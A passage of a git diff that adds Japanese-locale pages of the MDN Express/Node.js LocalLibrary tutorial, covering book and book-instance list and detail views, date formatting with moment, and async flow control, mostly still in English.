class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>The method uses the model's <code>find()</code> function to return all <code>Book</code> objects, selecting to return only the <code>title</code> and <code>author</code> as we don't need the other fields (it will also return the <code>_id</code> and virtual fields). Here we also call <code>populate()</code> on <code>Book</code>, specifying the <code>author</code> field—this will replace the stored book author id with the full author details.</p> + +<p>On success, the callback passed to the query renders the <strong>book_list</strong>(.pug) template, passing the <code>title</code> and <code>book_list</code> (list of books with authors) as variables.</p> + +<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> + +<p>Create <strong>/views/book_list.pug</strong> and copy in the text below.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each book <span class="keyword token">in</span> book_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>book<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>book<span class="punctuation token">.</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no books<span class="punctuation token">.</span></code></pre> + +<p>The view extends the <strong>layout.pug</strong> base template and overrides the <code>block</code> named '<strong>content</strong>'. It displays the <code>title</code> we passed in from the controller (via the <code>render()</code> method) and then iterates through the <code>book_list</code> variable using the <code>each</code>-<code>in</code>-<code>else</code> syntax. A list item is created for each book displaying the book title as a link to the book's detail page followed by the author name. If there are no books in the <code>book_list</code> then the <code>else</code> clause is executed, and displays the text 'There are no books.'</p> + +<div class="note"> +<p><strong>Note:</strong> We use <code>book.url</code> to provide the link to the detail record for each book (we've implemented this route, but not the page yet). This is a virtual property of the <code>Book</code> model which uses the model instance's <code>_id</code> field to produce a unique URL path.</p> +</div> + +<p>Of interest here is that each book is defined as two lines, using the pipe for the second line (highlighted above). This approach is needed because if the author name were on the previous line then it would be part of the hyperlink.</p> + +<h2 class="highlight-spanned" id="What_does_it_look_like"><span class="highlight-span">What does it look like?</span></h2> + +<p>Run the application (see <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">Testing the routes</a> for the relevant commands) and open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Then select the <em>All books </em>link. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="Book List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14464/LocalLibary_Express_Book_List.png" style="border-style: solid; border-width: 1px; display: block; height: 387px; margin: 0px auto; width: 918px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">BookInstance list page</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html new file mode 100644 index 0000000000..3c6cace6a5 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html @@ -0,0 +1,91 @@ +--- +title: ブックインスタンス詳細ページとチャレンジ +slug: >- + Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge +translation_of: >- + Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge +--- +<h2 id="BookInstance_detail_page">BookInstance detail page</h2> + +<p>The <code>BookInstance</code> detail page needs to display the information for each <code>BookInstance</code>, identified using its (automatically generated) <code>_id</code> field value. This will include the <code>Book</code> name (as a link to the <em>Book detail page</em>) along with other information in the record.</p> + +<h3 id="Controller">Controller</h3> + +<p>Open <strong>/controllers/bookinstanceController.js</strong>. Find the exported <code>bookinstance_detail()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js">// Display detail page for a specific BookInstance. +exports.bookinstance_detail = function(req, res, next) { + +<strong> BookInstance.findById(req.params.id) + .populate('book') + .exec(function (err, bookinstance) { + if (err) { return next(err); } + if (bookinstance==null) { // No results. + var err = new Error('Book copy not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('bookinstance_detail', { title: 'Book:', bookinstance: bookinstance}); + })</strong> + +}; +</pre> + +<p>The method calls <code>BookInstance.findById()</code> with the ID of a specific book instance extracted from the URL (using the route), and accessed within the controller via the request parameters: <code style="font-style: normal; font-weight: normal;">req.params.id</code>). It then calls <code>populate()</code> to get the details of the associated <code>Book</code>.</p> + +<h3 id="View">View</h3> + +<p>Create <strong>/views/bookinstance_detail.pug</strong> and copy in the content below.</p> + +<pre class="brush: js">extends layout + +block content + +<strong> h1 ID: #{bookinstance._id}</strong> + + p #[strong Title:] + a(href=bookinstance.book.url) #{bookinstance.book.title} + p #[strong Imprint:] #{bookinstance.imprint} + + p #[strong Status:] + if bookinstance.status=='Available' + span.text-success #{bookinstance.status} + else if bookinstance.status=='Maintenance' + span.text-danger #{bookinstance.status} + else + span.text-warning #{bookinstance.status} + + if bookinstance.status!='Available' + p #[strong Due back:] #{bookinstance.due_back} +</pre> + +<p>Everything in this template has been demonstrated in previous sections.</p> + +<h3 id="What_does_it_look_like">What does it look like?</h3> + +<p>Run the application and open your browser to <a href="http://localhost:3000/">http://localhost:3000/</a>. Select the <em>All book-instances</em> link, then select one of the items. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="BookInstance Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14472/LocalLibary_Express_BookInstance_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 362px; margin: 0px auto; width: 1000px;"></p> + +<h2 id="Challenge">Challenge</h2> + +<p>Currently most <em>dates</em> displayed on the site use the default JavaScript format (e.g. <em>Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)</em>. The challenge for this article is to improve the appearance of the date display for <code>Author</code> lifespan information (date of death/birth) and for <em>BookInstance detail</em> pages to use the format: December 6th, 2016.</p> + +<div class="note"> +<p><strong>Note:</strong> You can use the <a href="#date_formatting">same approach</a> as we used for the <em>Book Instance List</em> (adding the virtual property for the lifespan to the <code>Author</code> model and use <a href="https://www.npmjs.com/package/moment">moment</a> to format the date strings).</p> +</div> + +<p>The requirements to meet this challenge:</p> + +<ol> + <li>Replace the variable <code>due_back</code> with <code>due_back_formatted</code> in the <em>BookInstance detail</em> page.</li> + <li>Update the <font face="Consolas, Liberation Mono, Courier, monospace">Author</font> module to add a lifespan virtual property. The lifespan should look like: <em>date_of_birth - date_of_death</em>, where both values have the same date format as <code>BookInstance.due_back_formatted</code>.</li> + <li>Use <code>Author.lifespan</code> in all views where you currently explicitly use <code>date_of_birth</code> and <code>date_of_death</code>.</li> +</ol> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html new file mode 100644 index 0000000000..9bc7ee305f --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html @@ -0,0 +1,69 @@ +--- +title: ブックインスタンスリストページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +--- +<p>Next we'll implement our list of all book copies (<code>BookInstance</code>) in the library. This page needs to include the title of the <code>Book</code> associated with each <code>BookInstance</code> (linked to its detail page) along with other information in the <code>BookInstance</code> model, including the status, imprint, and unique id of each copy. The unique id text should be linked to the <code>BookInstance</code> detail page.</p> + +<h2 class="highlight-spanned" id="Controller"><span class="highlight-span">Controller</span></h2> + +<p>The <code>BookInstance</code> list controller function needs to get a list of all book instances, populate the associated book information, and then pass the list to the template for rendering.</p> + +<p>Open <strong>/controllers/bookinstanceController.js</strong>. Find the exported <code>bookinstance_list()</code> controller method and replace it with the following code (the changed code is shown in bold).</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all BookInstances.</span> +exports<span class="punctuation token">.</span>bookinstance_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <strong>BookInstance<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_bookinstances<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book Instance List'</span><span class="punctuation token">,</span> bookinstance_list<span class="punctuation token">:</span> list_bookinstances <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></strong> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>The method uses the model's <code>find()</code> function to return all <code>BookInstance</code> objects. It then daisy-chains a call to <code>populate()</code> with the <code>book</code> field—this will replace the book id stored for each <code>BookInstance</code> with a full <code>Book</code> document.</p> + +<p>On success, the callback passed to the query renders the <strong>bookinstance_list</strong>(.pug) template, passing the <code>title</code> and <code>bookinstance_list</code> as variables.</p> + +<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> + +<p>Create <strong>/views/bookinstance_list.pug</strong> and copy in the text below.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each val <span class="keyword token">in</span> bookinstance_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>val<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> <span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>imprint<span class="punctuation token">}</span> <span class="operator token">-</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Available'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>success #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Maintenance'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>danger #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>warning #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back<span class="punctuation token">}</span> <span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no book copies <span class="keyword token">in</span> <span class="keyword token">this</span> library<span class="punctuation token">.</span></code></pre> + +<p>This view is much the same as all the others. It extends the layout, replacing the <em>content</em> block, displays the <code>title</code> passed in from the controller, and iterates through all the book copies in <code>bookinstance_list</code>. For each copy we display its status (colour coded) and if the book is not available, its expected return date. One new feature is introduced—we can use dot notation after a tag to assign a class. So <code>span.text-success</code> will be compiled to <code><span class="text-success"></code> (and might also be written in Pug as <code>span(class="text-success")</code>.</p> + +<h2 class="highlight-spanned" id="What_does_it_look_like"><span class="highlight-span">What does it look like?</span></h2> + +<p>Run the application, open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>, then select the <em>All book-instances </em>link. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="BookInstance List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14474/LocalLibary_Express_BookInstance_List.png" style="border-style: solid; border-width: 1px; display: block; height: 322px; margin: 0px auto; width: 1200px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">Date formatting using moment</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html new file mode 100644 index 0000000000..58851991b5 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html @@ -0,0 +1,60 @@ +--- +title: moment を使用した日付のフォーマット +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +--- +<p>The default rendering of dates from our models is very ugly: <em>Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)</em>. In this section we'll show how you can update the <em>BookInstance List</em> page from the previous section to present the <code>due_date</code> field in a more friendly format: December 6th, 2016. </p> + +<p>The approach we will use is to create a virtual property in our <code>BookInstance</code> model that returns the formatted date. We'll do the actual formatting using <a class="external external-icon" href="https://www.npmjs.com/package/moment" rel="noopener">moment</a>, a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.</p> + +<div class="note"> +<p><strong>Note:</strong> It is possible to use <em>moment</em> to format the strings directly in our Pug templates, or we could format the string in a number of other places. Using a virtual property allows us to get the formatted date in exactly the same way as we get the <code>due_date</code> currently. </p> +</div> + +<h2 class="highlight-spanned" id="Install_moment"><span class="highlight-span">Install moment</span></h2> + +<p>Enter the following command in the root of the project:</p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install moment</code></pre> + +<h2 class="highlight-spanned" id="Create_the_virtual_property"><span class="highlight-span">Create the virtual property</span></h2> + +<ol> + <li>Open <strong>./models/bookinstance.js</strong>.</li> + <li>At the top of the page, import <em>moment</em>. + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> moment <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'moment'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> +</ol> + +<p>Add the virtual property <code>due_back_formatted</code> just after the url property.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">BookInstanceSchema +<span class="punctuation token">.</span><span class="function token">virtual</span><span class="punctuation token">(</span><span class="string token">'due_back_formatted'</span><span class="punctuation token">)</span> +<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> <span class="function token">moment</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>due_back<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'MMMM Do, YYYY'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>Note:</strong> The format method can display a date using almost any pattern. The syntax for representing different date components can be found in the <a class="external external-icon" href="http://momentjs.com/docs/#/displaying/" rel="noopener">moment documentation</a>.</p> +</div> + +<h2 class="highlight-spanned" id="Update_the_view"><span class="highlight-span">Update the view</span></h2> + +<p>Open <strong>/views/bookinstance_list.pug</strong> and replace <code>due_back</code> with <code>due_back_formatted</code>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + <span class="comment token">//span (Due: #{val.due_back} )</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back_formatted<span class="punctuation token">}</span> <span class="punctuation token">)</span> </code></pre> + +<p>That's it. If you go to <em>All book-instances</em> in the sidebar, you should now see all the due dates are far more attractive!</p> + +<p> </p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">Author list page and Genre list page challenge</a>.</li> +</ul> + +<p> </p> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html new file mode 100644 index 0000000000..0639f79bc3 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html @@ -0,0 +1,137 @@ +--- +title: async を使用した非同期フロー制御 +slug: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +--- +<p> </p> + +<p>ローカルライブラリのいくつかのコントローラは、特定の順序、あるいは平行して要求される複数の非同期リクエストに依存しています。一般的に、操作の流れを制御し、必要となるすべての情報を取得したときにページを表示するために、<a href="https://www.npmjs.com/package/async">async</a>モジュール が使用されます。</p> + +<div class="note"> +<p><strong>註:</strong> この方法以外にも、近年 JavaScript に導入された Promise などの非同期的な振る舞いや操作の流れを制御する方法があります。</p> +</div> + +<p>Async はいくつもの有用なメソッドを持っています (この<a href="http://caolan.github.io/async/docs.html">ドキュメント</a>を参照してください)。 主要なメソッドをいくつか紹介します。:</p> + +<ul> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> は平行して行われる操作を実行します。</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> は非同期操作を特定の順序で実行することを保証する必要があるときに使用します。</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> はそれぞれの操作がそれ以前の操作の結果に依存していて、特定の順序で実行する必要がある場合に使用します。</li> +</ul> + +<h2 class="highlight-spanned" id="Why_is_this_needed"><span class="highlight-span">Why is this needed?</span></h2> + +<p>Most of the methods we use in <em>Express</em> are asynchronous—you specify an operation to perform, passing a callback. The method returns immediately, and the callback is invoked when the requested operation completes. By convention in <em>Express</em>, callback functions pass an <em>error</em> value as the first parameter (or <code>null</code> on success) and the results from the function (if there are any) as the second parameter.</p> + +<p>If a controller only needs to <em>perform <strong>one </strong>asynchronous operation</em> to get the information required to render a page then the implementation is easy—we simply render the template in the callback. The code fragment below shows this for a function that renders the count of a model <code>SomeModel</code> (using the Mongoose <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code> method):</p> + +<pre class="brush: js"><code>exports.some_model_count = function(req, res, next) { + +</code> SomeModel.count({ a_model_field: 'match_value' }, function (err, count) { + // ... do something if there is an err + + // On success, render the result by passing count into the render function (here, as the variable 'data'). + res.render('the_template', { data: count } ); + }); +<code>}</code> +</pre> + +<p>However what if you need to make <strong>multiple </strong>asynchronous queries, and you can't render the page until all the operations have completed? A naive implementation could "daisy chain" the requests, kicking off subsequent requests in the callback of a previous request, and rendering the response in the final callback. The problem with this approach is that our requests would have to be run in series, even though it might be more efficient to run them in parallel. This could also result in complicated nested code, commonly referred to as <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a>.</p> + +<p>A much better solution would be to execute all the requests in parallel and then have a single callback that executes when all of the queries have completed. This is the sort of flow operation that the <em>Async</em> module makes easy!</p> + +<h2 class="highlight-spanned" id="Asynchronous_operations_in_parallel"><span class="highlight-span">Asynchronous operations in parallel</span></h2> + +<p>The method <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> is used to run multiple asynchronous operations in parallel.</p> + +<p>The first argument to <code>async.parallel()</code> is a collection of the asynchronous functions to run (an array, object or other iterable). Each function is passed a <code>callback(err, result)</code> which it must call on completion with an error <code>err</code> (which can be <code>null</code>) and an optional <code>results</code> value.</p> + +<p>The optional second argument to <code>async.parallel()</code> is a callback that will be run when all the functions in the first argument have completed. The callback is invoked with an error argument and a result collection that contains the results of the individual asynchronous operations. The result collection is of the same type as the first argument (i.e. if you pass an array of asynchronous functions, the final callback will be invoked with an array of results). If any of the parallel functions reports an error the callback is invoked early (with the error value).</p> + +<p>The example below shows how this works when we pass an object as the first argument. As you can see, the results are <em>returned</em> in an object with the same property names as the original functions that were passed in.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' is now equal to: {one: 1, two: 2, ..., something_else: some_value}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>If you instead pass an array of functions as the first argument, the results will be an array (the array order results will match the original order that the functions were declared—not the order in which they completed).</p> + +<h2 class="highlight-spanned" id="Asynchronous_operations_in_series"><span class="highlight-span">Asynchronous operations in series</span></h2> + +<p>The method <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> is used to run multiple asynchronous operations in sequence, when subsequent functions do not depend on the output of earlier functions. It is essentially declared and behaves in the same way as <code>async.parallel()</code>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback after the last asynchronous function completes.</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' is now equals to: {one: 1, two: 2, ..., something_else: some_value} </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>Note:</strong> The ECMAScript (JavaScript) language specification states that the order of enumeration of an object is undefined, so it is possible that the functions will not be called in the same order as you specify them on all platforms. If the order really is important, then you should pass an array instead of an object, as shown below.</p> +</div> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some stuff ...</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some more stuff ... </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">]</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// results is now equal to ['one', 'two'] </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="Dependent_asynchronous_operations_in_series"><span class="highlight-span">Dependent asynchronous operations in series</span></h2> + +<p>The method <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> is used to run multiple asynchronous operations in sequence when each operation is dependent on the result of the previous operation.</p> + +<p>The callback invoked by each asynchronous function contains <code>null</code> for the first argument and results in subsequent arguments. Each function in the series takes the results arguments of the previous callback as the first parameters, and then a callback function. When all operations are complete, a final callback is invoked with the result of the last operation. The way this works is more clear when you consider the code fragment below (this example is from the <em>async</em> documentation):</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">waterfall</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> arg2<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// arg1 now equals 'one' and arg2 now equals 'two' </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'three'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// arg1 now equals 'three'</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'done'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> result<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// result now equals 'done'</span> +<span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="Installing_async"><span class="highlight-span">Installing async</span></h2> + +<p>Install the async module using the NPM package manager so that we can use it in our code. You do this in the usual way, by opening a prompt in the root of the <em>LocalLibrary</em> project and 